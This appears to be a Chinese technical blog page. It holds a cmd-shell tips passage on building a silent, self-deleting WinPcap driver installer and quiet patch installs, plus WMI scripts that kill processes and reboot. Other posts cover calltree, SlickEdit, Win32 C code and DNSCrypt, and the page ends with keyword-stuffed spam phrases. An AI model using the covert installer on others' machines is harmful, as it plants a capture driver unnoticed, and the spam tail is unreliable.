            除去反安裝的部分,關鍵的文件有三個:wpcap.dll,packet.dll和npf.sys。前面兩個文件位于system32目錄下,第三個在system32\drivers下。而注冊表的變化是增加了一個系統服務NPF。注意,是系統服務(即驅動)不是Win32服務。

            作為系統服務,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主鍵,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主鍵。而后者默認只有SYSTEM身份才可以修改。幸運的是,并不需要手動添加它,winpcap被調用時會自動搞定。甚至完全不用手動修改注冊表,所有的事winpcap都會自己完成,只需要將三個文件復制到合適的位置就行了。

            作為范例,還是演示一下如何修改注冊表:利用前面說過的inf文件來實現。

            [Version]
            Signature="$WINDOWS NT$"
            [DefaultInstall.Services]
            AddService=NPF,,winpcap_svr
            [winpcap_svr]
            DisplayName=Netgroup Packet Filter
            ServiceType=0x1
            StartType=3
            ErrorControl=1
            ServiceBinary=%12%\npf.sys

            將上面這些內容保存為_wpcap_.inf文件。
            再寫一個批處理_wpcap_.bat:

            rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
            del _wpcap_.inf
            if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
            copy packet.dll %SYSTEMROOT%\system32\
            copy wpcap.dll %SYSTEMROOT%\system32\
            del packet.dll
            del wpcap.dll
            :COPYDRV
            if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
            copy npf.sys %SYSTEMROOT%\system32\drivers\
            del npf.sys
            :END
            del %0

            然后用winrar將所有文件(5個)打包為自解壓的exe,并將『高級自解壓選項』->『解壓后運行』設置為_wpcap_.bat,命令行的winpcap安裝包就制作完成了。

            注意,批處理最后一行沒有回車符。否則會因為正在運行而無法刪除自己。

            所有的軟件安裝,基本上可以套用這個思路。但也有例外的,那就是系統補丁的安裝。
            由于系統補丁有可能要替換正在被執行或訪問的文件,所以用copy命令是不行的。
            幸好,Windows補丁包支持命令行安裝。
            比如:

            KB824146.exe -n -z -q

            -n 不保留備份
            -z 不重起
            -q 安靜模式

            如果有一堆補丁要打,那么用RAR打包成自解壓文件,外加一個批處理。

            for %%f in (KB??????.exe) do %%f -n -z -q
            for %%f in (KB??????.exe) do del %%f
            del %0


            Windows腳本
            很多事用腳本來做是很簡潔的。下面給出幾個常用腳本的echo版。

            1,顯示系統版本

            @echo for each ps in getobject _ >ps.vbs
            @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
            @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
            cscript //nologo ps.vbs & del ps.vbs

            2,列舉進程

            @echo for each ps in getobject _ >ps.vbs
            @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
            @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
            cscript //nologo ps.vbs & del ps.vbs

            3,終止進程

            @echo for each ps in getobject _ >pk.vbs
            @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
            @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

            要終止PID為123的進程,使用如下語法:
            cscript pk.vbs 123

            如果顯示一個0,表示終止成功。

            然后:
            del pk.vbs

            4,重啟系統

            @echo for each os in getobject _ >rb.vbs
            @echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
            @echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

            5,列舉自啟動的服務

            @echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
            @echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
            @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

            6,列舉正在運行的服務

            @echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
            @echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
            @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

            7,顯示系統最后一次啟動的時間

            @echo for each os in getobject _ >bt.vbs
            @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
            @echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

            顯示結果的格式是:
            yyyymmddHHMMSSxxxxxxZZZZ
            _年_月日時分秒_微秒_時區

            8,顯示系統運行時間

            @echo for each os in getobject _ >rt.vbs
            @echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
            @echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
            @echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
            @echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
            cscript //nologo rt.vbs & del rt.vbs

            這個運行時間是從性能計數器中獲得的64位整型數,不會出現在49.7天后溢出的情況。


            附言
            cmd shell博大精深,本文掛一漏萬講了一些常用技巧,希望對各位有所幫助。

            也許你早知道了這些方法,也許你有更好的方法,希望你能寫出來和大家分享。

            最后,感謝你耐心看完本文。本人水平有限,錯誤之處懇請指正。

            posted @ 2012-04-10 14:52 tqsheng 閱讀(242) | 評論 (0)編輯 收藏

            apple serial http://www.apple.com.cn/support/ipad/contact/

            http://www.apple.com.cn/support/ipad/contact/

            posted @ 2012-04-08 07:04 tqsheng 閱讀(11442) | 評論 (29)編輯 收藏

            介紹一個linux下生成C代碼調用樹的好工具calltree

            平時用vim+cscope+ctags看程序還不錯,但跳來跳去還是不太直觀,如果能將C代碼的調用生成調用樹就再好不過了,果然,偶找到了一款不錯的工具calltree,有了這個工具,可以說宏觀微宏一起把握了,拋媚眼

            先看一下用它生成的函數調用圖:

            源碼是nbtscan小工具的代碼.

            ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c

            main [nbtscan.c:289]:
            | FD_ISSET
            | FD_SET
            | FD_ZERO
            | atoi
            | bind
            | bzero
            | d_print_hostinfo [nbtscan.c:93]
            | | inet_ntoa
            | | printf
            | | strncpy
            | delete_list [list.c:29]
            | | free
            | err_die
            | err_print
            | exit
            | feof
            | fgets
            | fopen
            | fprintf
            | free
            | getopt
            | gettimeofday
            | htons
            | in_list [list.c:101]
            | | compare [list.c:47]
            | | new_list_item [list.c:17]
            | | | err_die
            | | | malloc
            | inet_aton
            | inet_ntoa
            | insert [list.c:55]
            | | compare [list.c:47]
            | | free
            | | new_list_item [list.c:17]
            | | | err_die
            | | | malloc
            | l_print_hostinfo [nbtscan.c:260]
            | | inet_ntoa
            | | printf
            | | strncpy
            | malloc
            | new_list [list.c:8]
            | | err_die
            | | malloc
            | next_address [range.c:72]
            | | htonl
            | | ntohl
            | ntohl
            | parse_response [statusq.c:147]
            | | bzero
            | | get16 [statusq.c:137]
            | | | memcpy
            | | | ntohs
            | | get32 [statusq.c:127]
            | | | memcpy
            | | | ntohl
            | | malloc
            | | memcpy
            | | strncpy
            | | typeof
            | print_banner [nbtscan.c:26]
            | | printf
            | print_header [nbtscan.c:87]
            | | printf
            | print_hostinfo [nbtscan.c:207]
            | | inet_ntoa
            | | printf
            | | strncpy
            | printf
            | recvfrom
            | select
            | send_query [statusq.c:93]
            | | bzero
            | | err_print
            | | gettimeofday
            | | htons
            | | inet_ntoa
            | | name_mangle [statusq.c:40]
            | | | HAVE_SNPRINTF
            | | | memset
            | | | snprintf
            | | | sprintf
            | | | strcmp
            | | | strlen
            | | | toupper
            | | sendto
            | | snprintf
            | set_range [nbtscan.c:80]
            | | is_ip [range.c:21]
            | | | inet_addr
            | | | ntohl
            | | is_range1 [range.c:36]
            | | | abs
            | | | atoi
            | | | err_die
            | | | free
            | | | inet_addr
            | | | malloc
            | | | ntohl
            | | | strchr
            | | | strcpy
            | | | strlen
            | | is_range2 [range.c:91]
            | | | atoi
            | | | err_die
            | | | free
            | | | inet_addr
            | | | malloc
            | | | ntohl
            | | | strchr
            | | | strcpy
            | | | strlen
            | sleep
            | snprintf
            | socket
            | strcmp
            | strdup
            | timerclear
            | timercmp
            | timersub
            | usage [nbtscan.c:32]
            | | exit
            | | printf
            | v_print_hostinfo [nbtscan.c:156]
            | | getnbservicename [statusq.c:370]
            | | | err_die
            | | | malloc
            | | | snprintf
            | | | strstr
            | | inet_ntoa
            | | printf
            | | strncpy

            還不錯哦,能很直觀地顯示程序的架構

            下面介紹一下各選項:
            ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c

            -b 就是那個豎線了,很直觀地顯示縮進層次。
            -g 打印內部函數的所屬文件名及行號,外部函數所屬文件名和行號也是可打印的,詳man

            -np 不要調用c預處理器,這樣打印出的界面不會很雜亂,但也可能會產生錯誤哦,如果我們只看
            函數的調用關系的話,不會有大問題。
            -m 告訴程序從main開始

            還有一個重要的選項是 listfunction ,縮寫是lf,用來只打印某個函數中的調用,用法是:
            $calltree -gb -np lf=send_query *.c

            send_query [statusq.c:93]:
            | bzero
            | err_print
            | gettimeofday
            | htons
            | inet_ntoa
            | name_mangle [statusq.c:40]
            | | HAVE_SNPRINTF
            | | memset
            | | snprintf
            | | sprintf
            | | strcmp
            | | strlen
            | | toupper
            | sendto
            | snprintf

            還有幾個不太常用的就不介紹了,細節大家還是看man吧,另外說明一點的是,安裝的時候它默認是安裝到"/opt/schily/"目錄下,下面有bin, man, include等幾個目錄,你可以設置環境變量,或者干脆把它拷貝到/usr里相應的目錄下,或者修改Makefile啦


            下載地址:

            ftp://ftp.berlios.de/pub/calltree/calltree-2.3.tar.bz2

            posted @ 2012-04-05 22:41 tqsheng 閱讀(1301) | 評論 (0)編輯 收藏

            calls的初次使用

            calls似乎是一個挺老的小工具,用的人也不多。用途就是打印函數的調用關系。
            地址:ftp://sunsite.unc.edu/pub/Linux/devel/lang/c/calls.tar.Z
            下載解壓后得到的那個可執行文件居然不能運行。
            -bash: ./calls: cannot execute binary file
            重新編譯居然報錯。還需要修改main.c文件
            原來是:
            extern char *sys_errlist[];
            改為:
            extern __const char *__const sys_errlist[];
            再編譯,OK了。

            名叫 calls 的文件移動到 /usr/bin 目錄. 把名叫 calls.1 的文件移動到目錄 /usr/share/man/man1/
            OK,可以用了。

            posted @ 2012-04-05 22:30 tqsheng 閱讀(220) | 評論 (0)編輯 收藏

            解決SlickEdit 2009 Build窗口中的亂碼問題

            解決SlickEdit 2009 Build窗口中的亂碼問題

            E貌似有自己的shell,可以通過Build窗口訪問,是一個很方便的功能,在工程中點擊Compile或是Build,編譯的輸出信息都會顯示在Build窗口中,如果編譯出現錯誤,雙擊Error或是Warning就可以在源文件中定位,是一個十分方便的功能,不過我一直被亂碼所困擾,原因大概是shell默認是用的語言是zh_CN-UTF8,和SE的默認編碼方式不同,所以我們需要在SE初始化的時候修改環境變量,方法如下:

            1. gedit ~/.slickedit/14.0.2/vslick.ini
            2. 添加以下內容:
              [Enviroment]
              LANG = en_US.UTF-8
            3. Ctrl + S
            4. 重啟SE

            我們還可以在這里添加其它環境變量,SE下Ctrl + Space切換輸入法的設置貌似也可以在這設置,不過還沒成功過。

             

            posted @ 2012-04-05 22:27 tqsheng 閱讀(1670) | 評論 (0)編輯 收藏

            鏈接

            SLICK EDIT
            http://community.slickedit.com/index.php?board=1.0

            posted @ 2012-04-05 22:19 tqsheng 閱讀(181) | 評論 (0)編輯 收藏

            http://www.exam8.com/english/zhicheng/zhenti/

            http://www.exam8.com/english/zhicheng/zhenti/

            posted @ 2012-04-05 21:23 tqsheng 閱讀(142) | 評論 (0)編輯 收藏

            GetFormattedTime

             

             1 PCHAR
             2 GetFormattedTime(
             3     BOOL bDateToo
             4     )
             5 {
             6     static char szTime[64];
             7     int cch = 0;
             8 
             9     if (bDateToo) {
            10 
            11         cch =
            12             GetDateFormat(
            13                 LOCALE_USER_DEFAULT,
            14                 0,
            15                 NULL,    // current date
            16                 "ddd",   // short day of week
            17                 szTime,
            18                 sizeof szTime
            19                 );
            20 
            21         // cch includes null terminator, change it to
            22         // a space to separate from time.
            23 
            24         szTime[ cch - 1 ] = ' ';
            25     }
            26 
            27     //
            28     // Get time and format to characters
            29     //
            30 
            31     GetTimeFormat(
            32         LOCALE_USER_DEFAULT,
            33         TIME_NOSECONDS,
            34         NULL,   // use current time
            35         NULL,   // use default format
            36         szTime + cch,
            37         (sizeof szTime) - cch );
            38 
            39     return szTime;
            40 }
            41 

             

            posted @ 2012-04-04 19:18 tqsheng 閱讀(372) | 評論 (0)編輯 收藏

            DNSCrypt —— 一個加密DNS傳輸的工具

             

            DNSCrypt —— 一個加密DNS傳輸的工具
            2012-03-24 23:42

            DNSCrypt是一個確保客戶與DNS服務器之間傳輸安全的工具,基于DNSCurve修改而來。

            由于Domain Name System(DNS)設計上的缺陷,用戶在瀏覽器里輸入很多海外網址以后,如果遭遇MITM或者DNS污染,瀏覽器就可能接收到錯誤的IP,而存在安全問題。為了解決這樣的問題,IETF在十幾年前便開始制定DNS的安全擴展(DNSSEC)。利用公開密鑰加密技術,通過對DNS數據進行數字簽名,DNSSEC能夠驗證DNS數據來源和驗證在傳輸過程中DNS是否被篡改。

            但是DNSSEC不保證DNS數據的機密性,DNS數據本身并沒有被加密,加之DNS的階層式模式,這便為一些機構提供監視,控制網絡的手段。典型的例子就是不能訪問一些海外的網站。DNSSEC也不提供免于DOS(Deny of Service)攻擊的辦法,由于數字簽名和簽名驗證需要額外的數據運算,DNSSEC反而更容易受到DOS攻擊。DNSCurve相對于DNSSEC的好處是,DNSCurve使用了更有效率的橢圓曲線加密算法而可以負擔的起每條查詢都單獨加密,從而更加安全。

            DNSCrypt協議是非常類似DNSCurve的,作為一個DNS代理運行,側重于客戶端和第一級DNS服務器之間的通信安全,能夠緩存DNS解析。DNSCrypt的上游DNS服務器是著名的OpenDNS服務,簡單而言DNSCrypt就是加密了本機到OpenDNS服務器之間的DNS查詢通信過程(使用橢圓曲線加密算法),所以可以不受GreatFireWall的DNS污染干擾。

            首先下載對應平臺的dnscrypt client然后運行,接著修改本地或者router的dns server為127.0.0.1. 然后你的所有dns請求都會加密進行從而繞過GreatFireWall的dns污染順利解析到正確IP,以下是Win7系統設置的圖示:(DNSCrypt可以在Windows/Linux/BSD/OSX/iOS系統上運行)

             

             

            更多詳情:https://github.com/opendns/dnscrypt-proxy/

            下載地址:https://github.com/opendns/dnscrypt-proxy/downloads

            使用后即可直接訪問一些遭到DNS污染的網站,如果網站還支持https也可以訪問其https網址,比如一些Google服務。

            posted @ 2012-03-30 21:10 tqsheng 閱讀(2239) | 評論 (0)編輯 收藏

            咽喉干腫

            8、咽喉干腫

            推薦:蜜梨膏

            做法:取生梨,用榨汁機榨成梨汁,加入適量蜂蜜,以文火熬制成膏。每日一匙,能清熱去火、生津潤喉。

            點評:蜂蜜甘平,入肺脾大腸經,能潤腸通便,補肺潤喉,又能解毒。梨甘微酸涼,入肺脾經,能治口渴咳嗽便秘。所以二者放在一起熬膏可以起到潤喉的作用。新鮮綠葉蔬菜、黃瓜、橙子、綠茶、梨、胡蘿卜也有很好的清火作用。


            2、咽喉腫痛

            常吃生梨能防治口舌生瘡和咽喉腫痛;用醋加同量的水漱口,可減輕痛苦;嫩絲瓜搗爛擠汁,頻頻含漱;咽喉疼痛時,可用一匙醬油漱口,漱1分鐘左右吐出,連續3-4次,有療效

            posted @ 2012-03-30 20:06 tqsheng 閱讀(97) | 評論 (0)編輯 收藏

            WinMain支持命令行參數的代碼

             

            #include "stdafx.h"
            #include 
            <STRING.h>
            #include 
            <STDIO.H>
            int APIENTRY WinMain(HINSTANCE hInstance,
                                 HINSTANCE hPrevInstance,
                                 LPSTR     lpCmdLine,
                                 
            int       nCmdShow)
            {
                 
            // TODO: Place code here.
                char *pCmdLine = GetCommandLine();
                
            char  sep[] = " ";
                
            char *token = NULL;
                
            char  argv[10][10= {0};
                
            int      argc = 0;
                
                token 
            = strtok(pCmdLine,sep);
                
            while (token != NULL)
                {
                    strcpy(argv[argc
            ++],token);
                    OutputDebugString(token);
                    token 
            = strtok(NULL,sep);
                }
                
            return 0;
            }


            WinMain支持命令行參數的代碼

            #include <windows.h>
            #include 
            <stdio.h>

            int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd)
            {
                    
            //for the command line;
                    
                    
            int argc = 0;
                    
                    LPWSTR 
            *lpszArgv = NULL;

                    
                    LPWSTR szCmdLine 
            =(LPWSTR)::GetCommandLineW(); //獲取命令行參數;
                    
                    lpszArgv 
            = ::CommandLineToArgvW((const unsigned short *)szCmdLine, &argc); //拆分命令行參數字符串;
                    

                    
                    
            if (lpszArgv == NULL)
                    {
                    
                            MessageBox(NULL, 
            "Unable to parse command line""Error", MB_OK);
                            
            return 10;
                    }
                    
                    
            for(int i = 0; i < argc; i++)

                    {
                            
            char   str[MAX_PATH];
                            memset(str,
            0,MAX_PATH);
                    
            //將LPWSTR轉換為char *:
                    WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK,lpszArgv[i], -1,str,200,NULL,NULL);
                    MessageBox(NULL,str, 
            "Arglist contents", MB_OK);
                        
                    }
                    
                    LocalFree(lpszArgv);
                    
            return 0;
            }


            一個簡單的 方法用stdlib.h中的__argc,__argv

            #include <windows.h>
            #include 
            <stdlib.h>

            int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd)
            {
                    
            //for the command line;
                    for(int i = 0; i <__argc; i++)

                    {
                            
            char   str[MAX_PATH];
                            
            char * str1;
                            memset(str,
            0,MAX_PATH);
                            
            //下面是獲取命令行參數值的典型用法:
                        lstrcpy(str,__argv[i]);
                            str1
            =strdup(__argv[i]);
                        
            //MessageBox(NULL,str, "Arglist contents", MB_OK);
                            MessageBox(NULL,str1, "Arglist contents", MB_OK);
                        
                    }
                    
            return 0;
            }





             

            posted @ 2012-03-30 07:01 tqsheng 閱讀(651) | 評論 (0)編輯 收藏

            僅列出標題
            共25頁: First 10 11 12 13 14 15 16 17 18 Last 
            97久久久久人妻精品专区| 久久99国产一区二区三区| 亚洲AV无码久久精品成人| 久久久精品人妻一区二区三区蜜桃| 伊人久久大香线蕉成人| 久久av无码专区亚洲av桃花岛| 久久久青草久久久青草| 亚洲va中文字幕无码久久不卡 | 国产成人久久精品麻豆一区| 亚洲精品国产自在久久| 中文字幕无码免费久久| 国产99久久久久久免费看| 久久婷婷国产剧情内射白浆| 国产亚洲色婷婷久久99精品91 | 久久婷婷五月综合色99啪ak | 青青草原综合久久| 久久永久免费人妻精品下载| 日韩电影久久久被窝网| 老司机国内精品久久久久| 久久亚洲精品人成综合网| 久久亚洲精品国产亚洲老地址| 久久青青草原综合伊人| 99国产精品久久| 91精品国产色综合久久| 久久综合国产乱子伦精品免费| 7777久久久国产精品消防器材| 久久影视综合亚洲| 久久午夜福利电影| 久久香蕉国产线看观看猫咪?v| 久久国产热这里只有精品| 久久免费99精品国产自在现线 | 欧美午夜A∨大片久久| 久久久精品波多野结衣| 久久男人中文字幕资源站| 思思久久好好热精品国产| 免费精品久久久久久中文字幕 | 亚洲欧美日韩中文久久| 99久久无色码中文字幕人妻| 亚洲综合伊人久久大杳蕉| 狠狠88综合久久久久综合网| 亚洲一区二区三区日本久久九|